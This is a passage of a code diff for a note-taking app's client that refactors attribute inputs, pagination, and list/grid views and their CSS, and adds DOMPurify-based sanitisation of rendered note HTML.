                 valueAttrs = valueAttrs.slice(0, 1);
             }
 
-            for (const valueAttr of valueAttrs) {
+            for (const [ i, valueAttr ] of valueAttrs.entries()) {
                 const definition = definitionAttr.getDefinition();
 
                 // if not owned, we'll force creation of a new attribute instead of updating the inherited one
@@ -182,34 +183,19 @@ const LABEL_MAPPINGS: Record<LabelType, HTMLInputTypeAttribute> = {
     url: "url"
 };
 
-function LabelInput(props: CellProps & { inputId: string }) {
-    const { inputId, note, cell, componentId, setCells } = props;
-    const { valueName, valueAttr, definition, definitionAttr } = cell;
-    const [ valueDraft, setDraft ] = useState(valueAttr.value);
-    const onChangeListener = useCallback(async (e: OnChangeEventData) => {
-        const inputEl = e.target as HTMLInputElement;
-        let value: string;
-
-        if (inputEl.type === "checkbox") {
-            value = inputEl.checked ? "true" : "false";
-        } else {
-            value = inputEl.value;
-        }
-
-        await updateAttribute(note, cell, componentId, value, setCells);
-    }, [ cell, componentId, note, setCells ]);
+function LabelInput({ inputId, ...props }: CellProps & { inputId: string }) {
+    const { valueName, valueAttr, definition, definitionAttr } = props.cell;
+    const onChangeListener = buildPromotedAttributeLabelChangedListener({...props});
     const extraInputProps: InputHTMLAttributes = {};
 
-    useTextLabelAutocomplete(inputId, valueAttr, definition, (e) => {
-        if (e.currentTarget instanceof HTMLInputElement) {
-            setDraft(e.currentTarget.value);
-        }
-    });
-
-    // React to model changes.
     useEffect(() => {
-        setDraft(valueAttr.value);
-    }, [ valueAttr.value ]);
+        if (definition.labelType === "text") {
+            const el = document.getElementById(inputId);
+            if (el) {
+                setupTextLabelAutocomplete(el as HTMLInputElement, valueAttr, onChangeListener);
+            }
+        }
+    }, [ inputId, valueAttr, onChangeListener ]);
 
     switch (definition.labelType) {
         case "number": {
@@ -231,13 +217,13 @@ function LabelInput(props: CellProps & { inputId: string }) {
         tabIndex={200 + definitionAttr.position}
         id={inputId}
         type={LABEL_MAPPINGS[definition.labelType ?? "text"]}
-        value={valueDraft}
+        value={valueAttr.value}
         checked={definition.labelType === "boolean" ? valueAttr.value === "true" : undefined}
         placeholder={t("promoted_attributes.unset-field-placeholder")}
         data-attribute-id={valueAttr.attributeId}
         data-attribute-type={valueAttr.type}
         data-attribute-name={valueAttr.name}
-        onBlur={onChangeListener}
+        onChange={onChangeListener}
         {...extraInputProps}
     />;
 
@@ -413,27 +399,16 @@ function InputButton({ icon, className, title, onClick }: {
     );
 }
 
-function useTextLabelAutocomplete(inputId: string, valueAttr: Attribute, definition: DefinitionObject, onChangeListener: OnChangeListener) {
-    const [ attributeValues, setAttributeValues ] = useState<{ value: string }[] | null>(null);
-
-    // Obtain data.
-    useEffect(() => {
-        if (definition.labelType !== "text") {
+function setupTextLabelAutocomplete(el: HTMLInputElement, valueAttr: Attribute, onChangeListener: OnChangeListener) {
+    // no need to await for this, can be done asynchronously
+    const $input = $(el);
+    server.get<string[]>(`attribute-values/${encodeURIComponent(valueAttr.name)}`).then((_attributeValues) => {
+        if (_attributeValues.length === 0) {
             return;
         }
 
-        server.get<string[]>(`attribute-values/${encodeURIComponent(valueAttr.name)}`).then((_attributesValues) => {
-            setAttributeValues(_attributesValues.map((attribute) => ({ value: attribute })));
-        });
-    }, [ definition.labelType, valueAttr.name ]);
+        const attributeValues = _attributeValues.map((attribute) => ({ value: attribute }));
 
-    // Initialize autocomplete.
-    useEffect(() => {
-        if (attributeValues?.length === 0) return;
-        const el = document.getElementById(inputId) as HTMLInputElement | null;
-        if (!el) return;
-
-        const $input = $(el);
         $input.autocomplete(
             {
                 appendTo: document.querySelector("body"),
@@ -449,7 +424,7 @@ function useTextLabelAutocomplete(inputId: string, valueAttr: Attribute, definit
                     source (term, cb) {
                         term = term.toLowerCase();
 
-                        const filtered = (attributeValues ?? []).filter((attr) => attr.value.toLowerCase().includes(term));
+                        const filtered = attributeValues.filter((attr) => attr.value.toLowerCase().includes(term));
 
                         cb(filtered);
                     }
@@ -459,13 +434,27 @@ function useTextLabelAutocomplete(inputId: string, valueAttr: Attribute, definit
 
         $input.off("autocomplete:selected");
         $input.on("autocomplete:selected", onChangeListener);
+    });
+}
 
-        return () => $input.autocomplete("destroy");
-    }, [ inputId, attributeValues, onChangeListener ]);
+function buildPromotedAttributeLabelChangedListener({ note, cell, componentId, setCells }: CellProps): OnChangeListener {
+    async function onChange(e: OnChangeEventData) {
+        const inputEl = e.target as HTMLInputElement;
+        let value: string;
+
+        if (inputEl.type === "checkbox") {
+            value = inputEl.checked ? "true" : "false";
+        } else {
+            value = inputEl.value;
+        }
+
+        await updateAttribute(note, cell, componentId, value, setCells);
+    }
+
+    return debounce(onChange, 250);
 }
 
 async function updateAttribute(note: FNote, cell: Cell, componentId: string, value: string | undefined, setCells: Dispatch<StateUpdater<Cell[] | undefined>>) {
-    if (value === cell.valueAttr.value) return;
     const { attributeId } = await server.put<UpdateAttributeResponse>(
         `notes/${note.noteId}/attribute`,
         {

apps/client/src/widgets/collections/Pagination.tsx

@@ -9,8 +9,7 @@ import Button from "../react/Button";
 import "./Pagination.css";
 import clsx from "clsx";
 
-export interface PaginationContext {
-    className?: string;
+interface PaginationContext {
     page: number;
     setPage: Dispatch<StateUpdater<number>>;
     pageNotes?: FNote[];
@@ -19,11 +18,11 @@ export interface PaginationContext {
     totalNotes: number;
 }
 
-export function Pager({ className, page, pageSize, setPage, pageCount, totalNotes }: Omit<PaginationContext, "pageNotes">) {
+export function Pager({ page, pageSize, setPage, pageCount, totalNotes }: Omit<PaginationContext, "pageNotes">) {
     if (pageCount < 2) return;
 
     return (
-        <div className={clsx("note-list-pager-container", className)}>
+        <div className="note-list-pager-container">
             <div className="note-list-pager">
                 <ActionButton
                     icon="bx bx-chevron-left"

apps/client/src/widgets/collections/calendar/index.tsx

@@ -79,7 +79,6 @@ export const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, (() => Promise<{ de
     es: () => import("@fullcalendar/core/locales/es"),
     fr: () => import("@fullcalendar/core/locales/fr"),
     it: () => import("@fullcalendar/core/locales/it"),
-    hi: () => import("@fullcalendar/core/locales/hi"),
     ga: null,
     cn: () => import("@fullcalendar/core/locales/zh-cn"),
     tw: () => import("@fullcalendar/core/locales/zh-tw"),
@@ -308,11 +307,11 @@ function useEditing(note: FNote, isEditable: boolean, isCalendarRoot: boolean, c
 
     // Called upon when clicking the day number in the calendar, opens or creates the day note but only if in a calendar root.
     const onDateClick = useCallback(async (e: DateClickArg) => {
-        const eventNote = await date_notes.getDayNote(e.dateStr, note.noteId);
+        const eventNote = await date_notes.getDayNote(e.dateStr);
         if (eventNote) {
             appContext.triggerCommand("openInPopup", { noteIdOrPath: eventNote.noteId });
         }
-    }, [ note ]);
+    }, []);
 
     return {
         select: onCalendarSelection,

apps/client/src/widgets/collections/geomap/index.css

@@ -7,9 +7,14 @@
 
   > .collection-properties {
     position: relative;
+    z-index: 998;
   }
 }
 
+body.mobile .geo-view > .collection-properties {
+    z-index: 2500;
+}
+
 .geo-map-container {
   height: 100%;
   overflow: hidden;

apps/client/src/widgets/collections/legacy/ListOrGridView.css

@@ -2,40 +2,142 @@
     overflow: visible;
     position: relative;
     height: 100%;
+}
 
-    .note-list-wrapper {
-        height: 100%;
-        overflow: auto;
-    }
+.note-book-card {
+    border-radius: 10px;
+    background-color: var(--accented-background-color);
+    padding: 10px 15px 15px 8px;
+    margin: 5px 5px 5px 5px;
+    overflow: hidden;
+    display: flex;
+    flex-direction: column;
+    flex-shrink: 0;
+    flex-grow: 1;
+}
 
-    &.grid-view .note-list-container {
-        display: flex;
-        flex-wrap: wrap;
-        gap: 10px;
-    }
+.note-book-card.archived {
+    opacity: 0.5;
+}
 
-    .note-list-bottom-pager {
-        margin-block: 8px;
-    }
+.note-book-card:not(.expanded) .note-book-content {
+    padding: 10px
+}
 
-    &:not(:has(.note-list-bottom-pager)) {
-        margin-bottom: 48px;
+.note-book-card.expanded .note-book-content {
+    display: block;
+    min-height: 0;
+    height: 100%;
+    padding-top: 10px;
+}
+
+.note-book-content .rendered-content {
+    height: 100%;
+}
+
+.note-book-header {
+    border-bottom: 1px solid var(--main-border-color);
+    margin-bottom: 0;
+    padding-bottom: .5rem;
+    word-break: break-all;
+    flex-shrink: 0;
+}
+
+/* not-expanded title is limited to one line only */
+.note-book-card:not(.expanded) .note-book-header {
+    overflow: hidden;
+    white-space: nowrap;
+    text-overflow: ellipsis;
+}
+
+.note-book-header .rendered-note-attributes {
+    font-size: medium;
+}
+
+.note-book-header .rendered-note-attributes:before {
+    content: "\00a0\00a0";
+}
+
+.note-book-header .note-icon {
+    font-size: 100%;
+    display: inline-block;
+    padding-inline-end: 7px;
+    position: relative;
+}
+
+.note-book-card .note-book-card {
+    border: 1px solid var(--main-border-color);
+}
+
+.note-book-content.type-image, .note-book-content.type-file, .note-book-content.type-protectedSession {
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    text-align: center;
+    padding: 10px;
+    flex-grow: 1;
+}
+
+.note-book-content.type-image img, .note-book-content.type-canvas svg {
+    max-width: 100%;
+    max-height: 100%;
+    object-fit: contain;
+}
+
+.note-book-card.type-image .note-book-content img,
+.note-book-card.type-text .note-book-content img,
+.note-book-card.type-canvas .note-book-content img {
+    max-width: 100%;
+    max-height: 100%;
+}
+
+.note-book-header {
+    flex-grow: 0;
+}
+
+.note-list-wrapper {
+    height: 100%;
+    overflow: auto;
+}
+
+/* #region List view */
+
+@keyframes note-preview-show {
+    from {
+        opacity: 0;
+    } to {
+        opacity: 1;
     }
 }
 
-/* #region List view / Grid view common styles */
+.nested-note-list {
+    --card-nested-section-indent: 25px;
 
-.nested-note-list-item h5,
-.note-book-card .note-book-header {
-    display: flex;
-    align-items: center;
-    font-size: 1em;
-    font-weight: normal;
-    margin: 0;
+    &.search-results {
+        --card-nested-section-indent: 32px;
+    }
+}
+
+/* List item */
+.nested-note-list-item {
+    h5 {
+        display: flex;
+        align-items: center;
+        font-size: 1em;
+        font-weight: normal;
+        margin: 0;
+    }
+
+    .note-expander {
+        margin-inline-end: 4px;
+        font-size: x-large;
+        cursor: pointer;
+    }
 
     .tn-icon {
-        font-size: 1.2em;
         margin-inline-end: 8px;
+        color: var(--note-list-view-icon-color);
+        font-size: 1.2em;
     }
 
     .note-book-title {
@@ -45,24 +147,52 @@
         font-weight: normal;
     }
 
-    .note-book-item-menu {
+    .note-path {
+        margin-left: 0.5em;
+        vertical-align: middle;
+        opacity: 0.5;
+    }
+
+    .note-list-attributes {
+        flex-grow: 1;
+        margin-inline-start: 1em;
+        text-align: right;
+        font-size: .75em;
+        opacity: .75;
+    }
+
+    .nested-note-list-item-menu {
         margin-inline-start: 8px;
         flex-shrink: 0;
     }
-}
 
-.nested-note-list-item.use-note-color,
-.note-book-card.use-note-color .note-book-header {
-    span.tn-icon + span,
-    .tn-icon,
-    .rendered-note-attributes {
-        color: var(--custom-color);
+    &.archived {
+        span.tn-icon + span,
+        .tn-icon {
+            opacity: .6;
+        }
+    }
+
+    &.use-note-color {
+        span.tn-icon + span,
+        .nested-note-list:not(.search-results) & .tn-icon,
+        .rendered-note-attributes {
+            color: var(--custom-color);
+        }
     }
 }
 
-/* Search result view */
-.nested-note-list.search-results .nested-note-list-item,
-.note-list-container.search-results .note-book-card .note-book-header {
+.nested-note-list:not(.search-results) h5 {
+    span.tn-icon + span,
+    .note-list-attributes {
+        white-space: nowrap;
+        overflow: hidden;
+        text-overflow: ellipsis;
+    }
+}
+
+/* List item (search results view) */
+.nested-note-list.search-results .nested-note-list-item {
     span.tn-icon + span > span {
         display: flex;
         flex-direction: column-reverse;
@@ -74,7 +204,6 @@
     }
 
     .note-path {
-        opacity: 0.5;
         margin-left: 0;
         font-size: .85em;
         line-height: .85em;
@@ -96,7 +225,7 @@
         color: var(--note-icon-custom-color, var(--note-list-view-large-icon-color));
     }
 
-    .ck-find-result {
+    h5 .ck-find-result {
         background: var(--note-list-view-search-result-highlight-background);
         color: var(--note-list-view-search-result-highlight-color);
         font-weight: 600;
@@ -104,114 +233,21 @@
     }
 }
 
-@keyframes note-preview-show {
-    from {
-        opacity: 0;
-    } to {
-        opacity: 1;
-    }
-}
-
-.nested-note-list .note-book-content,
-.note-list-container .note-book-content {
-    display: none;
-    animation: note-preview-show .35s ease-out;
-    will-change: opacity;
-
-    &.note-book-content-ready {
-        display: block;
-    }
-
-    .ck-find-result {
-        outline: 2px solid var(--note-list-view-content-search-result-highlight-background);
-        border-radius: 4px;
-        background: var(--note-list-view-content-search-result-highlight-background);
-        color: var(--note-list-view-content-search-result-highlight-color);
-    }
-}
-
-.note-book-content {
-    height: 100%;
-
-    &.type-image, &.type-file, &.type-protectedSession {
-        display: flex;
-        align-items: center;
-        justify-content: center;
-        text-align: center;
-        padding: 10px;
-        flex-grow: 1;
-    }
-
-    &.type-image img, &.type-canvas svg {
-        max-width: 100%;
-        max-height: 100%;
-        object-fit: contain;
-    }
-}
-
-.note-content-preview:has(.note-book-content:empty) {
-    display: none;
-}
-
-/* #endregion */
-
-/* #region List view */
-
-.nested-note-list {
-    --card-nested-section-indent: 25px;
-
-    &.search-results {
-        --card-nested-section-indent: 32px;
-    }
-}
-
-/* List item */
-.nested-note-list-item {
-
-    .note-expander {
-        margin-inline-end: 4px;
-        font-size: x-large;
-        cursor: pointer;
-    }
-
-    .tn-icon {
-        color: var(--note-list-view-icon-color);
-    }
-
-    .note-list-attributes {
-        flex-grow: 1;
-        margin-inline-start: 1em;
-        text-align: right;
-        font-size: .75em;
-        opacity: .75;
-    }
-
-    &.archived {
-        span.tn-icon + span,
-        .tn-icon {
-            opacity: .6;
-        }
-    }
-}
-
-.nested-note-list:not(.search-results) h5,
-.note-book-card:not(.search-results) h5 {
-    span.tn-icon + span,
-    .note-list-attributes {
-        white-space: nowrap;
-        overflow: hidden;
-        text-overflow: ellipsis;
-    }
-}
-
 /* Note content preview */
 .nested-note-list .note-book-content {
+    display: none;
     outline: 1px solid var(--note-list-view-content-background);
     border-radius: 8px;
     background-color: var(--note-list-view-content-background);
     overflow: hidden;
     user-select: text;
     font-size: .85rem;
+    animation: note-preview-show .25s ease-out;
+    will-change: opacity;
+
+    &.note-book-content-ready {
+        display: block;
+    }
 
     > .rendered-content > *:last-child {
         margin-bottom: 0;
@@ -249,162 +285,54 @@
         justify-content: center;
         min-height: 50vh;
     }
+
+    .ck-find-result {
+        outline: 2px solid var(--note-list-view-content-search-result-highlight-background);
+        border-radius: 4px;
+        background: var(--note-list-view-content-search-result-highlight-background);
+        color: var(--note-list-view-content-search-result-highlight-color);
+    }
+}
+
+.note-content-preview:has(.note-book-content:empty) {
+    display: none;
 }
 
 /* #endregion */
 
 /* #region Grid view */
-
-.note-list .note-book-card {
-    --note-list-horizontal-padding: 22px;
-    --note-list-vertical-padding: 15px;
-
+.note-list.grid-view .note-list-container {
     display: flex;
-    flex-direction: column;
-    flex-shrink: 0;
-    flex-grow: 1;
+    flex-wrap: wrap;
+}
+
+.note-list.grid-view .note-book-card {
     flex-basis: 300px;
+    border: 1px solid transparent;
+}
+
+body.mobile .note-list.grid-view .note-book-card {
+    flex-basis: 150px;
+}
+
+.note-list.grid-view .note-book-card {
     max-height: 300px;
-    padding: 0;
-    overflow: hidden;
-    user-select: none;
-
-    body.mobile & {
-        flex-basis: 150px;
-    }
-
-    &:hover {
-        background-color: var(--card-background-hover-color);
-        filter: contrast(105%);
-        transition: background-color 200ms ease-out;
-    }
-
-    &:not(:has(:is(.note-book-item-menu:active, .btn-primary:active))):active {
-        transform: scale(.98);
-    }
-
-    &.archived {
-        opacity: 0.5;
-    }
-
-    .note-book-header {
-        margin-bottom: 0;
-        border-bottom: 1px solid var(--card-border-color, var(--main-border-color));
-        padding-bottom: .5rem;
-        word-break: break-all;
-        flex-shrink: 0;
-        padding: .5rem 1rem;
-        padding-inline-end: 8px;
-
-        .tn-icon + span {
-            flex-grow: 1;
-            a {
-                font-weight: 500;
-            }
-        }
-    }
-
-    & .note-book-content {
-        &.type-image .note-book-content img,
-        &.type-text .note-book-content img,
-        &.type-canvas .note-book-content img {
-            max-width: 100%;
-            max-height: 100%;
-        }
-
-        .rendered-content {
-            height: 100%;
-        }
-
-        .rendered-content:has(.file-footer) {
-            padding: 0;
-        }
-
-        img {
-            max-height: 220px;
-            object-fit: contain;
-        }
-
-        .file-footer {
-            display: flex;
-            gap: 8px;
-            justify-content: space-between;
-            padding: 0;
-
-            .btn.btn-primary {
-                flex: 1;
-                margin: 0;
-                box-shadow: unset;
-                background: transparent;
-                border: 0;
-                border-radius: 0;
-                padding: 8px;
-                color: var(--main-text-color);
-
-                &:hover {
-                    background: var(--more-accented-background-color);
-                }
-
-                &:active {
-                    transform: none;
-                }
-            }
-        }
-    }
 }
 
-.note-book-card .note-book-content {
-    padding: 0;
-    font-size: 0.8rem;
-    
-    .ck-content p {
-        margin-bottom: 0.5em;
-        line-height: 1.3;
-    }
-
-    .ck-content figure.image {
-        width: 25%;
-    }
-
-    .rendered-content,
-    .rendered-content.text-with-ellipsis {
-        padding: .5rem 1rem 1rem 1rem;
-    }
-
-    &.type-image .rendered-content,
-    &.type-pdf .rendered-content {
-        padding: 0;
-    }
-
-    &.type-video video {
-        max-height: 200px;
-    }
-
-    h1, h2, h3, h4, h5, h6 {
-        font-size: 1rem;
-        color: var(--active-item-text-color);
-    }
-
-    p:last-child {
-        margin-bottom: 0;
-    }
-
-    &.type-canvas .rendered-content,
-    &.type-mindMap .rendered-content,
-    &.type-code .rendered-content,
-    &.type-video .rendered-content {
-        padding: 0;
-    }
-
-    &.type-code {
-        height: 100%;
-    }
-
-    &.type-code pre {
-        height: 100%;
-        padding: 1em;
-        margin-bottom: 0;
-    }
+.note-list.grid-view .note-book-card img {
+    max-height: 220px;
+    object-fit: contain;
 }
 
-/* #endregion */
+.note-list.grid-view .note-book-card:hover {
+    cursor: pointer;
+    border: 1px solid var(--main-border-color);
+    background: var(--more-accented-background-color);
+}
+
+.note-list.grid-view .note-path {
+    margin-left: 0.5em;
+    vertical-align: middle;
+    opacity: 0.5;
+}
+/* #endregion */

apps/client/src/widgets/collections/legacy/ListOrGridView.tsx

@@ -1,7 +1,7 @@
 import "./ListOrGridView.css";
-import { Card, CardFrame, CardSection } from "../../react/Card";
+import { Card, CardSection } from "../../react/Card";
 
-import { useCallback, useEffect, useRef, useState } from "preact/hooks";
+import { useEffect, useRef, useState } from "preact/hooks";
 
 import FNote from "../../../entities/fnote";
 import attribute_renderer from "../../../services/attribute_renderer";
@@ -13,13 +13,13 @@ import { useImperativeSearchHighlighlighting, useNoteLabel, useNoteLabelBoolean,
 import Icon from "../../react/Icon";
 import NoteLink from "../../react/NoteLink";
 import { ViewModeProps } from "../interface";
-import { Pager, usePagination, PaginationContext } from "../Pagination";
+import { Pager, usePagination } from "../Pagination";
 import { filterChildNotes, useFilteredNoteIds } from "./utils";
 import { JSX } from "preact/jsx-runtime";
 import { clsx } from "clsx";
 import ActionButton from "../../react/ActionButton";
 import linkContextMenuService from "../../../menus/link_context_menu";
-import { ComponentChildren, TargetedMouseEvent } from "preact";
+import { TargetedMouseEvent } from "preact";
 
 export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }: ViewModeProps<{}>) {
     const expandDepth = useExpansionDepth(note);
@@ -27,18 +27,32 @@ export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
     const { pageNotes, ...pagination } = usePagination(note, noteIds);
     const [ includeArchived ] = useNoteLabelBoolean(note, "includeArchived");
     const noteType = useNoteProperty(note, "type");
+    const hasCollectionProperties = [ "book", "search" ].includes(noteType ?? "");
 
-    return <NoteList note={note} viewMode="list-view" noteIds={noteIds} pagination={pagination}>
-        <Card className={clsx("nested-note-list", {"search-results": (noteType === "search")})}>
-            {pageNotes?.map(childNote => (
-                <ListNoteCard
-                    key={childNote.noteId}
-                    note={childNote} parentNote={note}
-                    expandDepth={expandDepth} highlightedTokens={highlightedTokens}
-                    currentLevel={1} includeArchived={includeArchived} />
-            ))}
-        </Card>
-    </NoteList>;
+    return (
+        <div class="note-list list-view">
+            <CollectionProperties
+                note={note}
+                centerChildren={<Pager {...pagination} />}
+            />
+
+            { noteIds.length > 0 && <div class="note-list-wrapper">
+                {!hasCollectionProperties && <Pager {...pagination} />}
+
+                <Card className={clsx("nested-note-list", {"search-results": (noteType === "search")})}>
+                    {pageNotes?.map(childNote => (
+                        <ListNoteCard
+                            key={childNote.noteId}
+                            note={childNote} parentNote={note}
+                            expandDepth={expandDepth} highlightedTokens={highlightedTokens}
+                            currentLevel={1} includeArchived={includeArchived} />
+                    ))}
+                </Card>
+
+                <Pager {...pagination} />
+            </div>}
+        </div>
+    );
 }
 
 export function GridView({ note, noteIds: unfilteredNoteIds, highlightedTokens }: ViewModeProps<{}>) {
@@ -46,47 +60,28 @@ export function GridView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
     const { pageNotes, ...pagination } = usePagination(note, noteIds);
     const [ includeArchived ] = useNoteLabelBoolean(note, "includeArchived");
     const noteType = useNoteProperty(note, "type");
+    const hasCollectionProperties = [ "book", "search" ].includes(noteType ?? "");
 
-    return <NoteList note={note} viewMode="grid-view" noteIds={noteIds} pagination={pagination}>
-        <div className={clsx("note-list-container use-tn-links", {"search-results": (noteType === "search")})}>
-            {pageNotes?.map(childNote => (
-                <GridNoteCard key={childNote.noteId}
-                                note={childNote}
-                                parentNote={note}
-                                highlightedTokens={highlightedTokens}
-                                includeArchived={includeArchived} />
-            ))}
+    return (
+        <div class="note-list grid-view">
+            <CollectionProperties
+                note={note}
+                centerChildren={<Pager {...pagination} />}
+            />
+
+            <div class="note-list-wrapper">
+                {!hasCollectionProperties && <Pager {...pagination} />}
+
+                <div class="note-list-container use-tn-links">
+                    {pageNotes?.map(childNote => (
+                        <GridNoteCard note={childNote} parentNote={note} highlightedTokens={highlightedTokens} includeArchived={includeArchived} />
+                    ))}
+                </div>
+
+                <Pager {...pagination} />
+            </div>
         </div>
-    </NoteList>
-}
-
-interface NoteListProps {
-    note: FNote,
-    viewMode: "list-view" | "grid-view",
-    noteIds: string[],
-    pagination: PaginationContext,
-    children: ComponentChildren
-}
-
-function NoteList(props: NoteListProps) {
-    const noteType = useNoteProperty(props.note, "type");
-    const hasCollectionProperties = ["book", "search"].includes(noteType ?? "");
-
-    return <div className={clsx("note-list", props.viewMode)}>
-        <CollectionProperties
-            note={props.note}
-            centerChildren={<Pager className="note-list-top-pager" {...props.pagination} />}
-        />
-
-        {props.noteIds.length > 0 && <div className="note-list-wrapper">
-            {!hasCollectionProperties && <Pager {...props.pagination} />}
-            
-            {props.children}
-
-            <Pager className="note-list-bottom-pager" {...props.pagination} />
-        </div>}
-
-    </div>
+    );
 }
 
 function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expandDepth, includeArchived }: {
@@ -144,47 +139,39 @@ function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expan
                           showNotePath={parentNote.type === "search"}
                           highlightedTokens={highlightedTokens} />
                 <NoteAttributes note={note} />
-                <NoteMenuButton notePath={notePath} />
+                <ActionButton className="nested-note-list-item-menu"
+                              icon="bx bx-dots-vertical-rounded" text=""
+                              onClick={(e) => openNoteMenu(notePath, e)} 
+                />
             </h5>
         </CardSection>
     );
 }
 
-interface GridNoteCardProps {
-    note: FNote;
-    parentNote: FNote;
-    highlightedTokens: string[] | null | undefined;
-    includeArchived: boolean;
-}
-
-function GridNoteCard(props: GridNoteCardProps) {
-    const notePath = getNotePath(props.parentNote, props.note);
+function GridNoteCard({ note, parentNote, highlightedTokens, includeArchived }: { note: FNote, parentNote: FNote, highlightedTokens: string[] | null | undefined, includeArchived: boolean }) {
+    const titleRef = useRef<HTMLSpanElement>(null);
+    const [ noteTitle, setNoteTitle ] = useState<string>();
+    const notePath = getNotePath(parentNote, note);
 
     return (
-        <CardFrame className={clsx("note-book-card", "no-tooltip-preview", "block-link", props.note.getColorClass(), {
-                "archived": props.note.isArchived
-             })}
-             data-href={`#${notePath}`}
-             data-note-id={props.note.noteId}
-             onClick={(e) => link.goToLink(e)}
+        <div
+            className={`note-book-card no-tooltip-preview block-link ${note.isArchived ? "archived" : ""}`}
+            data-href={`#${notePath}`}
+            data-note-id={note.noteId}
+            onClick={(e) => link.goToLink(e)}
         >
-            <h5 className={clsx("note-book-header")}>
-                <Icon className="note-icon" icon={props.note.getIcon()} />
-                <NoteLink className="note-book-title"
-                          notePath={notePath}
-                          noPreview
-                          showNotePath={props.parentNote.type === "search"}
-                          highlightedTokens={props.highlightedTokens}
-                />
-                {!props.note.isOptions() && <NoteMenuButton notePath={notePath} />}
-                
+            <h5 className="note-book-header">
+                <Icon className="note-icon" icon={note.getIcon()} />
+                <NoteLink className="note-book-title" notePath={notePath} noPreview showNotePath={parentNote.type === "search"} highlightedTokens={highlightedTokens} />
+                <NoteAttributes note={note} />
             </h5>
-            <NoteContent note={props.note}
-                         trim
-                         highlightedTokens={props.highlightedTokens}
-                         includeArchivedNotes={props.includeArchived}
+            <NoteContent
+                note={note}
+                trim
+                highlightedTokens={highlightedTokens}
+                includeArchivedNotes={includeArchived}
             />
-        </CardFrame>
+        </div>
     );
 }
 
@@ -265,18 +252,6 @@ function NoteChildren({ note, parentNote, highlightedTokens, currentLevel, expan
     />);
 }
 
-function NoteMenuButton(props: {notePath: string}) {
-    const openMenu = useCallback((e: TargetedMouseEvent<HTMLElement>) => {
-        linkContextMenuService.openContextMenu(props.notePath, e);
-        e.stopPropagation()
-    }, [props.notePath]);
-
-    return  <ActionButton className="note-book-item-menu"
-                          icon="bx bx-dots-vertical-rounded" text=""
-                          onClick={openMenu} 
-            />
-}
-
 function getNotePath(parentNote: FNote, childNote: FNote) {
     if (parentNote.type === "search") {
         // for search note parent, we want to display a non-search path
@@ -298,4 +273,9 @@ function useExpansionDepth(note: FNote) {
     }
     return parseInt(expandDepth, 10);
 
-}
+}
+
+function openNoteMenu(notePath, e: TargetedMouseEvent<HTMLElement>) {
+    linkContextMenuService.openContextMenu(notePath, e);
+    e.stopPropagation()
+}

apps/client/src/widgets/collections/legacy/ListPrintView.tsx

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
 import type { PrintReport } from "../../../print";
 import content_renderer from "../../../services/content_renderer";
 import froca from "../../../services/froca";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import type { ViewModeProps } from "../interface";
 import { filterChildNotes, useFilteredNoteIds } from "./utils";
 
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
                 <h1>{note.title}</h1>
 
                 {state.notesWithContent?.map(({ note: childNote, contentEl }) => (
-                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
+                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
                 ))}
             </div>
         </div>

apps/client/src/widgets/collections/presentation/model.ts

@@ -1,6 +1,7 @@
 import { NoteType } from "@triliumnext/commons";
 import FNote from "../../../entities/fnote";
 import contentRenderer from "../../../services/content_renderer";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import { ProgressChangedFn } from "../interface";
 
 type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
     const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
         noChildrenList: true
     });
-    return { __html: $renderedContent.html() };
+    return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
 }
 
 async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

apps/client/src/widgets/highlights_list.ts

@@ -13,6 +13,27 @@ import katex from "../services/math.js";
 import options from "../services/options.js";
 import OnClickButtonWidget from "./buttons/onclick_button.js";
 import RightPanelWidget from "./right_panel_widget.js";
+import DOMPurify from "dompurify";
+
+/**
+ * DOMPurify configuration for highlight list items. Only allows inline
+ * formatting tags that appear in highlighted text (bold, italic, underline,
+ * colored/background-colored spans, KaTeX math output).
+ */
+const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS: [
+        "b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
+        "code", "mark", "span", "abbr", "small", "a",
+        // KaTeX rendering output elements
+        "math", "semantics", "mrow", "mi", "mo", "mn", "msup",
+        "msub", "mfrac", "mover", "munder", "munderover",
+        "msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
+        "mspace", "annotation"
+    ],
+    ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false
+};
 
 const TPL = /*html*/`<div class="highlights-list-widget">
     <style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
 
             if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
                 // If the previous element is connected to this element in HTML, then concatenate them into one.
-                $highlightsList.children().last().append(subHtml);
+                $highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
             } else {
                 // TODO: can't be done with $(subHtml).text()?
                 //Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
                     //If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
                     if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
                         const $lastLi = $highlightsList.children("li").last();
-                        $lastLi.append(await this.replaceMathTextWithKatax(substring));
-                        $lastLi.append(subHtml);
